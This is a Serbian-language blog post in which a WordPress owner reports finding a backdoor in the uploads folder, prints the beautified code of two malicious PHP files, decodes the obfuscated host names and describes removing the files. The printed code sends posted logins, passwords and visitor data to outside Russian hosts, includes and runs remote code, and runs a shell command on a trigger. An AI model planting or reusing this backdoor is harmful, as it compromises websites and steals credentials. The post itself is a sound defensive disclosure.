Upadnem malopre sasvim slučajno u svoj wp-contents/uploads/ folder, kad ima šta i da vidim tamo: Dva PHP fajla, jedan base.php i jedan create.php, kao i jedan .htaccess fajl koji usmerava sve 404 greške na create.php. Budem radoznao, otvorim ih kad ono “obfuscated” kod, odnosno nije toliko obfuscated koliko je sve napisano u jednom redu. Ne budem lenj, otvorim ih preko PHPEdit-a koji sam dobio ranije (i za koji sam još uvek dužan da napišem review), odradim ctrl+shift+f (code beautifier) i dobijem lepo ispisan kod:
base.php
error_reporting(0);
if (
isset($_POST["l"]) and
isset($_POST["p"])) {
if (
isset($_POST["input"])) {
$user_auth = "&l=" .
base64_encode($_POST["l"]) . "&p=" .
base64_encode(
md5($_POST["p"]));
} else {
$user_auth = "&l=" . $_POST["l"] . "&p=" . $_POST["p"];
}
} else {
$user_auth = "";
}
if (!
isset($_POST["log_flg"])) {
$log_flg = "&log";
}
if (!@include_once(
base64_decode("aHR0cDovLw==") . "hegfzzazbzbcd" .
base64_decode("LnVzZXJzLmJpc2hlbGwucnU=") . "/?r_addr=" .
sprintf("%u",
ip2long(
getenv(REMOTE_ADDR))) . "&url=" .
base64_encode($_SERVER["SERVER_NAME"] . $_SERVER[REQUEST_URI]) . $user_auth . $log_flg)) {
if ($_POST["l"] == "special") {
print "sys_active" . `uname -a`;
}
}
create.php
error_reporting(0);
$s = "e";
$a = (
isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
$b = (
isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
$c = (
isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
$d = (
isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
$e = (
isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);
$f = (
isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
$g = (
isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
$h = (
isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
$str =
base64_encode($a) . "." .
base64_encode($b) . "." .
base64_encode($c) . "." .
base64_encode($d) . "." .
base64_encode($e) . "." .
base64_encode($f) . "." .
base64_encode($g) . "." .
base64_encode($h) . ".$s";
if ((include(
base64_decode("aHR0cDovLw==") . "hegfzzazbzbcd" .
base64_decode("LnVzZXJzLnBocGZyZWUucnU=") . "/?" . $str))) {
} else {
include(
base64_decode("aHR0cDovLw==") . "hegfzzazbzbcd" .
base64_decode("LnVzZXJzLnBocGNvZGluZy5ydQ==") . "/?" . $str);
}
Sve ovo što je base64_decode echo-ujem i vidim da je skripta napravljena da cross-site inkluduje u ovu skriptu štagod joj se prosledi sa http://hegfzzazbzbcd.users.phpfree.ru/, odnosno sa http://hegfzzazbzbcd.users.phpcoding.ru ako ne uspe sa ove prve adrese - klasičan backdoor. Nemam pojma od kad to stoji na blogu, niti imam pojma otkud to kod mene u uploads/ folderu, i čudim se kako do sad bRlog nije deface-ovan, ali sad i da hoće neko preko toga da ga deface-uje - ne može, jer sam izbrisao skripte, i sprečio izvršavanje php skripti u uploads/ folderu.
A sad me izvin’te, odoh da proverim ostale blogove, što savetujem i vama.